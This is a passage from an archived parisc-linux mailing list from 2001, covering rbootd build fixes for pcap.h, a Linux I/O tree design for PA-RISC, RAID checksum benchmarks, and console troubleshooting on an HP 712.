If so, I am keen to try your kernel - are you able to make it available
for download somewhere?
If convenient for you, you also email it to me.

Damian
penfold@customware.com.au






From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: penfold@customware.com.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Source of this version of rbootd-2.0-2
Date: Sun, 4 Feb 2001 02:25:37 +1100 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200102031525.CAA25557@customware.com.au>
References: <20010203011748.F26452@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619831 14995 80.91.229.3 (22 Nov 2014 01:30:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:31 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  3 08:25:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mr14.vic-remote.bigpond.net.au (mr14.vic-remote.bigpond.net.au [24.192.1.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id 726EC4A19
	for <parisc-linux@parisc-linux.org>; Sat,  3 Feb 2001 08:25:40 -0700 (MST)
Original-Received: from customware.com.au (CPE-144-132-17-132.vic.bigpond.net.au [144.132.17.132])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with ESMTP id CAA19897
	for <parisc-linux@parisc-linux.org>; Sun, 4 Feb 2001 02:25:38 +1100 (EDT)
Original-Received: (from penfold@localhost)
	by customware.com.au (8.9.3/8.8.7) id CAA25557
	for parisc-linux@parisc-linux.org; Sun, 4 Feb 2001 02:25:37 +1100
In-Reply-To: <20010203011748.F26452@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Feb 03, 2001 01:17:48 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:10139

> 
> On Sat, Feb 03, 2001 at 01:51:17AM +0100, Christoph Plattner wrote:
> > Hi PA-RISCers !
> > 
> > Is there a source code of "your" binary version of the rbootd.
> > Alle source of debian has the problem, that the file pcap.h is not
> > found.
> 
> you need to `apt-get install libpcap-dev', then you will have a pcap.h
> and can rebuild rbootd.

And, in my case at least also patch defs.h :
replace 
#include <pcap.h>
with 
#include <pcap/pcap.h>

FWIW, I have libpcap-0.4-16.

Hope this helps,

Damian
penfold@customware.com.au






From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Source of this version of rbootd-2.0-2
Date: Sat, 3 Feb 2001 17:24:29 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20010203172429.A12985@parcelfarce.linux.theplanet.co.uk>
References: <20010203011748.F26452@parcelfarce.linux.theplanet.co.uk> <200102031525.CAA25557@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619831 14997 80.91.229.3 (22 Nov 2014 01:30:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: penfold@customware.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  3 10:24:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59FBE4A19
	for <parisc-linux@parisc-linux.org>; Sat,  3 Feb 2001 10:24:49 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14P6QH-0003PB-00; Sat, 03 Feb 2001 17:24:29 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200102031525.CAA25557@customware.com.au>; from penfold@customware.com.au on Sun, Feb 04, 2001 at 02:25:37AM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10140

On Sun, Feb 04, 2001 at 02:25:37AM +1100, penfold@customware.com.au wrote:
> And, in my case at least also patch defs.h :
> replace 
> #include <pcap.h>
> with 
> #include <pcap/pcap.h>
> 
> FWIW, I have libpcap-0.4-16.

i'm running debian potato, and i have Version: 0.4a6-3.  i didn't need
to do this.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC: I/O tree design
Date: Sat, 3 Feb 2001 17:57:51 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20010203175751.C12985@parcelfarce.linux.theplanet.co.uk>
References: <3A7BB0A0.D478911A@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619832 15000 80.91.229.3 (22 Nov 2014 01:30:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  3 10:58:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 274C04A19
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Feb 2001 10:58:00 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA16529
	for <parisc-linux@puffin.external.hp.com>; Sat, 3 Feb 2001 10:53:48 -0700
Original-Received: (qmail 24342 invoked by uid 15267); 3 Feb 2001 17:57:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24329 invoked from network); 3 Feb 2001 17:57:53 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 3 Feb 2001 17:57:53 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14P6wZ-0003yS-00; Sat, 03 Feb 2001 17:57:51 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A7BB0A0.D478911A@uswest.net>; from rbradetich@uswest.net on Sat, Feb 03, 2001 at 12:17:52AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10141

On Sat, Feb 03, 2001 at 12:17:52AM -0700, Ryan Bradetich wrote:
> Currently all the "discovered" I/O devices are stored in a
> fixed size array which contains up to 64 devices.  This fixed
> size array has already been established and is known to work,
> so this proposal does not attempt to replace the fixed size
> array, but instead uses indexes within the struct hp_device
> to create the logical I/O tree.

I think you need to be braver.  Kill the fixed size array.  kmalloc each
struct and use pointers to reference between them.  If you want, you
can use the doubly-linked-list macros in <linux/list.h>, but i suspect
self-managed singly-linked-lists will be more appropriate for this.
After all, it's not like the tree gets modified on a regular basis.

> Child: This index is only set to a valid node if the
> current node is the Central bus, a Bus Converter, or
> a Bus adapter.  When this index is set to a valid node,
> it points to the head of the sibling list containing all
> valid nodes for the given bus.

One advantage of doing this is that `Child' could be a pointer to a
PCI bus.

> This proposal also calls for a special "root" node at

And you don't ned a root node, just siblings.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] System bus walk patch
Date: Sat, 03 Feb 2001 12:50:10 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <3A7C60F2.C6143738@uswest.net>
References: <3A7B1313.C6B5AFFE@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619832 15001 80.91.229.3 (22 Nov 2014 01:30:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  3 12:50:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79EB04A19
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Feb 2001 12:50:20 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA16906
	for <parisc-linux@puffin.external.hp.com>; Sat, 3 Feb 2001 12:46:08 -0700
Original-Received: (qmail 20836 invoked by uid 15267); 3 Feb 2001 19:50:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20745 invoked from network); 3 Feb 2001 19:50:12 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 3 Feb 2001 19:50:12 -0000
Original-Received: (qmail 94825 invoked by alias); 3 Feb 2001 19:50:11 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 94816 invoked by uid 0); 3 Feb 2001 19:50:11 -0000
Original-Received: from lametoby.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 3 Feb 2001 19:50:11 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10142

After revewing the feedback I received from this patch, I
took the liberty to cleanup arch/parisc/kernel/inventory.c
to meet the CodingStyle requirments.  I also committed my
changes to include the System Bus Walking code into cvs
head.  If this commit causes any problems for anyone, let me
know, and I'd be glad to work through the issues with them.

Thanks,

- Ryan


Ryan Bradetich wrote:

> Hello parisc-hackers,
>
> This is the first of a series of patches to impliment an I/O tree for
> parsic-linux.  I am
> throwing this patch out to the list for discussion, and feedback before
> committing it
> to CVS because if this patch does not work, it will probably prevent
> your machine from
> booting. :)
>
> The goal of this first patch is to simply add a system bus walk to the
> end of  the firmware
> device discovery to add additional devices not reported by the
> firmware.  This patch does
> not attempt to start organizing the pa_devices into a tree strucuture,
> nor walk any other
> native bus besides the system bus.  These features will be included in
> additional patches,
> after this one has been tested and committed to CVS.
>
> I have tested this patch fairly extensively on the C200, but have not
> tried it on different
> machines. I would be interested in any feedback, concerns, questions
> anyone has about
> this patch.
>
> Thanks,
>
> - Ryan
>
>

[Patch Removed]






From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: penfold@customware.com.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Source of this version of rbootd-2.0-2
Date: Sun, 4 Feb 2001 12:30:34 +1100 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <200102040130.MAA30086@customware.com.au>
References: <20010203172429.A12985@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619832 15004 80.91.229.3 (22 Nov 2014 01:30:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  3 18:30:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mr14.vic-remote.bigpond.net.au (mr14.vic-remote.bigpond.net.au [24.192.1.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B6EC4A19
	for <parisc-linux@parisc-linux.org>; Sat,  3 Feb 2001 18:30:42 -0700 (MST)
Original-Received: from customware.com.au (CPE-144-132-17-132.vic.bigpond.net.au [144.132.17.132])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with ESMTP id MAA19213;
	Sun, 4 Feb 2001 12:30:38 +1100 (EDT)
Original-Received: (from penfold@localhost)
	by customware.com.au (8.9.3/8.8.7) id MAA30086;
	Sun, 4 Feb 2001 12:30:34 +1100
In-Reply-To: <20010203172429.A12985@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Feb 03, 2001 05:24:29 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:10143

> i'm running debian potato, and i have Version: 0.4a6-3.  i didn't need
> to do this.

just quick check to make sure I didnt have something which I had manually
done, it seems the .rpm itself differs.


[penfold@artemis penfold]$ rpm -ql libpcap
/usr/doc/libpcap-0.4
/usr/doc/libpcap-0.4/CHANGES
/usr/doc/libpcap-0.4/README
/usr/include/pcap
/usr/include/pcap/net
/usr/include/pcap/net/bpf.h
/usr/include/pcap/pcap-namedb.h
/usr/include/pcap/pcap.h
/usr/lib/libpcap.a
/usr/man/man3/pcap.3
[penfold@artemis penfold]$ cat /etc/issue.net

Red Hat Linux release 6.1 (Cartman)
Kernel 2.2.18 on an alpha
[penfold@artemis penfold]$

I also chaeck a RH 6.2 /libpcap-0.4-19.alpha and it is the same as my 6.1.

standards are great... there are so many to choose from!

Damian
penfold@customware.com.au





From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Source of this version of rbootd-2.0-2
Date: Sat, 3 Feb 2001 20:50:25 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0102032042200.9141-100000@pokey.513erich.iwaynet.net>
References: <200102040130.MAA30086@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619832 15009 80.91.229.3 (22 Nov 2014 01:30:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:32 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, <parisc-linux@parisc-linux.org>,
	Jim Wildman <jim@rossberry.com>
To: <penfold@customware.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  3 18:46:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pokey.513erich.iwaynet.net (d85.as1.clmb.oh.voyager.net [216.127.12.85])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62B9A4A19
	for <parisc-linux@parisc-linux.org>; Sat,  3 Feb 2001 18:46:03 -0700 (MST)
Original-Received: from localhost (localhost.localnet [127.0.0.1])
	by pokey.513erich.iwaynet.net (8.9.3/8.9.3) with ESMTP id UAA13503;
	Sat, 3 Feb 2001 20:50:25 -0500
Original-Sender: <herrold@513erich.iwaynet.net>
In-Reply-To: <200102040130.MAA30086@customware.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10144

On Sun, 4 Feb 2001 penfold@customware.com.au wrote:

> just quick check to make sure I didnt have something which I had manually
> done, it seems the .rpm itself differs.

<snip>

> I also chaeck a RH 6.2 /libpcap-0.4-19.alpha and it is the same as my 6.1.
>
> standards are great... there are so many to choose from!

... Jeff Johnson at Red Hat is the current maintainer of tpcdump,
which emits libpcap ... He is pretty conscientious, but constrained
by the need to make sure certain version usability goals are met
there to support their paying customers;  Dug Song of the OpenBSD
side has also made disparaging remarks on some former releases of
tcpdump et al by Red Hat.

Try grabbing the tcpdump _SRPM_ from the RH Rawhide (their current
devel build tree), for a later version (All SRPMS contain pristine
tarballs ...), and pull the tarball, and build from that.

I was working with the rbootd sources in the OpenBSD tree yesterday,
as well;  Has the OpenBSD PARISC port -- seemingly inactive for over
a year -- anything to offer this Linux effort?

-- Russ Herrold

(PS: JAW - you'll soon know why ...)





From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fun with RAID
Date: Sun, 4 Feb 2001 04:08:21 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20010204040821.A12539@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619833 15012 80.91.229.3 (22 Nov 2014 01:30:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  3 21:08:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C82A94A19
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Feb 2001 21:08:22 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14PGTN-0005y2-00
	for parisc-linux@lists.parisc-linux.org; Sun, 04 Feb 2001 04:08:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10145

As some of you will have noticed, the current Head branch, as well as
enabling lots of strange and curious segfaults also enables Software Raid.
I suspect someone with the time & inclination will eventaully write some
optimised XOR functions for PA-RISC, but in the meantime, we shall use the
generic C functions.

There are two functions to choose from, and the code does this at
boottime.  One is optimised for processors with 8 registers, and the
other for processors with 32 registers.  The 32regs one uses 8 registers,
interleaving loads, xors, and stores.  The 8regs function just dumbly
loads, xors and stores for each word.

So, just for fun, let's see how they stack up.  Here's results from a 712
(PCX/L CPU):

raid5: measuring checksumming speed
   8regs     :    60.960 MB/sec
   32regs    :   107.442 MB/sec

and here's a C200+ (PCX/U+ CPU):

   8regs     :   421.386 MB/sec
   32regs    :   531.876 MB/sec

which is as you would expect, but i have a vague recollection that grant
said the 8regs was the faster code on the A500.

[thanks to Ryan for the C200+ result]

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: penfold@customware.com.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Source of this version of rbootd-2.0-2
Date: Sun, 4 Feb 2001 16:54:35 +1100 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200102040554.QAA31264@customware.com.au>
References: <Pine.LNX.4.30.0102032042200.9141-100000@pokey.513erich.iwaynet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619833 15016 80.91.229.3 (22 Nov 2014 01:30:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  3 22:54:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mr14.vic-remote.bigpond.net.au (mr14.vic-remote.bigpond.net.au [24.192.1.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05C884A19
	for <parisc-linux@parisc-linux.org>; Sat,  3 Feb 2001 22:54:43 -0700 (MST)
Original-Received: from customware.com.au (CPE-144-132-17-132.vic.bigpond.net.au [144.132.17.132])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with ESMTP id QAA25790
	for <parisc-linux@parisc-linux.org>; Sun, 4 Feb 2001 16:54:40 +1100 (EDT)
Original-Received: (from penfold@localhost)
	by customware.com.au (8.9.3/8.8.7) id QAA31264
	for parisc-linux@parisc-linux.org; Sun, 4 Feb 2001 16:54:36 +1100
In-Reply-To: <Pine.LNX.4.30.0102032042200.9141-100000@pokey.513erich.iwaynet.net> from "herrold" at Feb 03, 2001 08:50:25 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:10146

> 
> On Sun, 4 Feb 2001 penfold@customware.com.au wrote:
> 
> 
> Try grabbing the tcpdump _SRPM_ from the RH Rawhide (their current
> devel build tree), for a later version (All SRPMS contain pristine
> tarballs ...), and pull the tarball, and build from that.

I wouldnt bother...

for the sake of a quick edit, I'm a happy camper.

Alternateively, a few symlinks would fix it.

Damian
penfold@customware.com.au





From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: zhao <qzhao@nc.rr.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 712/100 problem
Date: Sat, 21 Oct 2000 13:10:36 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <39F1CE0C.B9C2A9A2@nc.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619833 15022 80.91.229.3 (22 Nov 2014 01:30:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  4 01:37:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail7.nc.rr.com (mail7.southeast.rr.com [24.93.67.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DB984A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Feb 2001 01:37:54 -0700 (MST)
Original-Received: from nc.rr.com ([24.163.33.210]) by mail7.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Sun, 4 Feb 2001 03:37:51 -0500
Original-Sender: zhao@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10147

I am a newbie to HP world.  Just bought a 
HP 712/100. I connected it with a standard PC keyboard & mouse, 17" HP
Ultra 1280 monitor. 
I didn't see anything on the screen, and the power led flashs 
at about twice a second.  
BTW, I used a 3.2G quantum internal SCSI drive, no floppy. 

I got linux runing on sparc & Dec machines, realy want to explore
another platform. 
Please help me. 


Thanks, 

zhao




From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 712/100 problem
Date: Sun, 04 Feb 2001 10:47:15 +0100
Organization: private
Lines: 51
Approved: news@gmane.org
Message-ID: <3A7D2523.FEAB88F3@dot.at>
References: <39F1CE0C.B9C2A9A2@nc.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619834 15036 80.91.229.3 (22 Nov 2014 01:30:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: zhao <qzhao@nc.rr.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  4 02:47:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18C474A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Feb 2001 02:47:36 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-037.dot.at [212.9.128.77])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id KAA00116;
	Sun, 4 Feb 2001 10:57:23 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10148

Do you have a wrong DATE on your machine !!

Don't worry about the long time of having a bloack screen !
Two point have to be considered.
(1) On my 720/50 it takes near one minute, before the monitor began to
show the three basic colors red/green/blue as test, before text is
comming.
On reason for such a long time is the memory test....

(2) If your machine is configured using the serial console and if it
does not automatic boot, then you will never see any output on the
screen.
For this connect a terminal (emulation) like `minicom' or 'hyper
terminal'
to the first serial port with 9600,8,n,1 and wait, if there is coming an
output,
but this can also take up to one minute...

I hope this helps
	Christoph


zhao wrote:
> 
> I am a newbie to HP world.  Just bought a
> HP 712/100. I connected it with a standard PC keyboard & mouse, 17" HP
> Ultra 1280 monitor.
> I didn't see anything on the screen, and the power led flashs
> at about twice a second.
> BTW, I used a 3.2G quantum internal SCSI drive, no floppy.
> 
> I got linux runing on sparc & Dec machines, realy want to explore
> another platform.
> Please help me.
> 
> Thanks,
> 
> zhao
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 improvements, problems
Date: Sun, 4 Feb 2001 12:11:06 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010204121106.A1374@linuxcare.com>
References: <20010125173637.R3571@linuxcare.com> <Pine.LNX.4.21.0101261205420.31352-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619834 15039 80.91.229.3 (22 Nov 2014 01:30:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  4 06:34:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18B574A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Feb 2001 06:34:04 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA21411
	for <parisc-linux@puffin.external.hp.com>; Sun, 4 Feb 2001 06:29:51 -0700
Original-Received: (qmail 9116 invoked by uid 15267); 4 Feb 2001 13:33:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9106 invoked from network); 4 Feb 2001 13:33:57 -0000
Original-Received: from pc117-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.117)
  by mailserv2.iuinc.com with SMTP; 4 Feb 2001 13:33:57 -0000
